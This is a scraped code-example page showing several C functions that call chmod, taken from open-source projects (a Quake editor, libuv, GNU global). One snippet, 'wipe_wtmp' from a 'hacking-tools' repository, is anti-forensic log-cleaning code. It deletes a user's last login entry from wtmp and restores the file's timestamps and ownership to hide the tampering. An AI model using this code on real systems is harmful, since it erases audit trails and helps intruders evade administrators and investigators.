    strcat(batpath, "qe3bsp.bat");
#else
#error "unsupported platform"
#endif
    bool written = false;
    {
      TextFileOutputStream batchFile(batpath);
      if(!batchFile.failed())
      {
#if defined (POSIX)
        batchFile << "#!/bin/sh \n\n";
#endif
        BatchCommandListener listener(batchFile, junkpath);
        build_run(name, listener);
        written = true;
      }
    }
    if(written)
    {
#if defined (POSIX)
      chmod (batpath, 0744);
#endif
      globalOutputStream() << "Writing the compile script to '" << batpath << "'\n";
      globalOutputStream() << "The build output will be saved in '" << junkpath << "'\n";
      Q_Exec(batpath, NULL, NULL, true);
    }
  }

  bsp_shutdown();
}
开发者ID:raynorpat,项目名称:cake,代码行数:87,代码来源:qe3.cpp

示例13: wipe_wtmp

void wipe_wtmp(char *username)
{
  int i;			/* PROG: general purpose counter */
  int j;			/* PROG: general purpose counter */
  int wtmpfd;			/* PROG: fd for wtmp file        */
  int newfd;			/* PROG: fd for new wtmp file    */
  struct utmp ut_utmp;		/* PROG: utmp entry information  */
  struct stat st_stat;		/* PROG: file statistics         */
  struct fstats fstats;		/* PROG: saved file statistics   */

  /*
   * open WTMP and get file attributes
   */

  if((wtmpfd = open(_PATH_WTMP, O_RDONLY)) < 0) {
    printf("ERROR: failed to open() wtmp\n");
    return;
  }

  if(fstat(wtmpfd, &st_stat) < 0) {
    printf("ERROR: unable to stat() wtmp\n");
    return;
  }

  fstats.uid = st_stat.st_uid;
  fstats.gid = st_stat.st_gid;
  fstats.mode = st_stat.st_mode;
  fstats.time.actime = st_stat.st_atime;
  fstats.time.modtime = st_stat.st_mtime;

  /*
   * open temporary WTMP file
   */

  if((newfd = open("/tmp/.nwtmp", O_CREAT | O_WRONLY, 0600)) < 0) {
    printf("ERROR: open() failed\n");
    return;
  }

  /*
   * find the last entry for username and save index value
   */

  printf("removing '%s' from WTMP\t: ....................", username);

  for(i = 0; read(wtmpfd, &ut_utmp, sizeof(ut_utmp)) > 0;)
    if(!strcmp(ut_utmp.ut_name, username))
      i++;

  /*
   * rewind the WTMP file
   */

  lseek(wtmpfd, -(long)(st_stat.st_size), SEEK_END);

  /*
   * omit the last username entry from the new WTMP file
   */

  for(j = 0; read(wtmpfd, &ut_utmp, sizeof(ut_utmp)) > 0;) {

    if(!strcmp(ut_utmp.ut_name, username)) {
      j++;
      if(j == i)
        continue;
    }

    write(newfd, &ut_utmp, sizeof(ut_utmp));
  }

  /*
   * wipe original WTMP file
   */

  close(wtmpfd);
  wipe(_PATH_WTMP);

  puts(" complete");

  /*
   * replace new WTMP with old WTMP and set file attributes
   */

  rename("/tmp/.nwtmp", _PATH_WTMP);

  utime(_PATH_WTMP, &fstats.time);
  chmod(_PATH_WTMP, fstats.mode);
  chown(_PATH_WTMP, fstats.uid, fstats.gid);

  close(newfd);
}
开发者ID:kellx,项目名称:hacking-tools,代码行数:91,代码来源:remove.c

示例14: uv__fs_work

static void uv__fs_work(struct uv__work* w) {
  int retry_on_eintr;
  uv_fs_t* req;
  ssize_t r;

  req = container_of(w, uv_fs_t, work_req);
  retry_on_eintr = !(req->fs_type == UV_FS_CLOSE);

  do {
    errno = 0;

#define X(type, action)                                                       \
  case UV_FS_ ## type:                                                        \
    r = action;                                                               \
    break;

    switch (req->fs_type) {
    X(ACCESS, access(req->path, req->flags));
    X(CHMOD, chmod(req->path, req->mode));
    X(CHOWN, chown(req->path, req->uid, req->gid));
    X(CLOSE, close(req->file));
    X(COPYFILE, uv__fs_copyfile(req));
    X(FCHMOD, fchmod(req->file, req->mode));
    X(FCHOWN, fchown(req->file, req->uid, req->gid));
    X(FDATASYNC, uv__fs_fdatasync(req));
    X(FSTAT, uv__fs_fstat(req->file, &req->statbuf));
    X(FSYNC, uv__fs_fsync(req));
    X(FTRUNCATE, ftruncate(req->file, req->off));
    X(FUTIME, uv__fs_futime(req));
    X(LSTAT, uv__fs_lstat(req->path, &req->statbuf));
    X(LINK, link(req->path, req->new_path));
    X(MKDIR, mkdir(req->path, req->mode));
    X(MKDTEMP, uv__fs_mkdtemp(req));
    X(OPEN, uv__fs_open(req));
    X(READ, uv__fs_buf_iter(req, uv__fs_read));
    X(SCANDIR, uv__fs_scandir(req));
    X(READLINK, uv__fs_readlink(req));
    X(REALPATH, uv__fs_realpath(req));
    X(RENAME, rename(req->path, req->new_path));
    X(RMDIR, rmdir(req->path));
    X(SENDFILE, uv__fs_sendfile(req));
    X(STAT, uv__fs_stat(req->path, &req->statbuf));
    X(SYMLINK, symlink(req->path, req->new_path));
    X(UNLINK, unlink(req->path));
    X(UTIME, uv__fs_utime(req));
    X(WRITE, uv__fs_buf_iter(req, uv__fs_write));
    default: abort();
    }
#undef X
  } while (r == -1 && errno == EINTR && retry_on_eintr);

  if (r == -1)
    req->result = -errno;
  else
    req->result = r;

  if (r == 0 && (req->fs_type == UV_FS_STAT ||
                 req->fs_type == UV_FS_FSTAT ||
                 req->fs_type == UV_FS_LSTAT)) {
    req->ptr = &req->statbuf;
  }
}
开发者ID:MajdiSobain,项目名称:ring,代码行数:62,代码来源:fs.c

示例15: main


//.........这里部分代码省略.........
		if (file_list)
			fprintf(stderr, " Using '%s' as a file list.\n", file_list);
	}
	/*
	 * initialize parser.
	 */
	if (vflag && gtags_parser)
		fprintf(stderr, " Using plug-in parser.\n");
	parser_init(langmap, gtags_parser);
	/*
	 * Start statistics.
	 */
	init_statistics();
	/*
	 * incremental update.
	 */
	if (iflag) {
		/*
		 * Version check. If existing tag files are old enough
		 * gtagsopen() abort with error message.
		 */
		GTOP *gtop = gtags_open(dbpath, cwd, GTAGS, GTAGS_MODIFY, 0);
		gtags_close(gtop);
		/*
		 * GPATH is needed for incremental updating.
		 * Gtags check whether or not GPATH exist, since it may be
		 * removed by mistake.
		 */
		if (!test("f", makepath(dbpath, dbname(GPATH), NULL)))
			die("Old version tag file found. Please remake it.");
		(void)incremental(dbpath, cwd);
		print_statistics(statistics);
		exit(0);
	}
	/*
	 * create GTAGS and GRTAGS
	 */
	createtags(dbpath, cwd);
	/*
	 * create idutils index.
	 */
	if (Iflag) {
		FILE *op;
		GFIND *gp;
		const char *path;

		tim = statistics_time_start("Time of creating ID");
		if (vflag)
			fprintf(stderr, "[%s] Creating indexes for idutils.\n", now());
		strbuf_reset(sb);
		/*
		 * Since idutils stores the value of PWD in ID file, we need to
		 * force idutils to follow our style.
		 */
#if _WIN32 || __DJGPP__
		strbuf_puts(sb, "mkid --files0-from=-");
#else
		strbuf_sprintf(sb, "PWD=%s mkid --files0-from=-", quote_shell(cwd));
#endif
		if (vflag)
			strbuf_puts(sb, " -v");
		strbuf_sprintf(sb, " --file=%s/ID", quote_shell(dbpath));
		if (vflag) {
#ifdef __DJGPP__
			if (is_unixy())	/* test for 4DOS as well? */
#endif
			strbuf_puts(sb, " 1>&2");
		} else {
			strbuf_puts(sb, " >" NULL_DEVICE);
#ifdef __DJGPP__
			if (is_unixy())	/* test for 4DOS as well? */
#endif
			strbuf_puts(sb, " 2>&1");
		}
		if (debug)
			fprintf(stderr, "executing mkid like: %s\n", strbuf_value(sb));
		op = popen(strbuf_value(sb), "w");
		if (op == NULL)
			die("cannot execute '%s'.", strbuf_value(sb));
		gp = gfind_open(dbpath, NULL, GPATH_BOTH, 0);
		while ((path = gfind_read(gp)) != NULL) {
			fputs(path, op);
			fputc('\0', op);
		}
		gfind_close(gp);
		if (pclose(op) != 0)
			die("terminated abnormally '%s' (errno = %d).", strbuf_value(sb), errno);
		if (test("f", makepath(dbpath, "ID", NULL)))
			if (chmod(makepath(dbpath, "ID", NULL), 0644) < 0)
				die("cannot chmod ID file.");
		statistics_time_end(tim);
	}
	if (vflag)
		fprintf(stderr, "[%s] Done.\n", now());
	closeconf();
	strbuf_close(sb);
	print_statistics(statistics);

	return 0;
}
开发者ID:libaoyuan242,项目名称:emacs_config,代码行数:101,代码来源:gtags.c


注:本文中的chmod函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。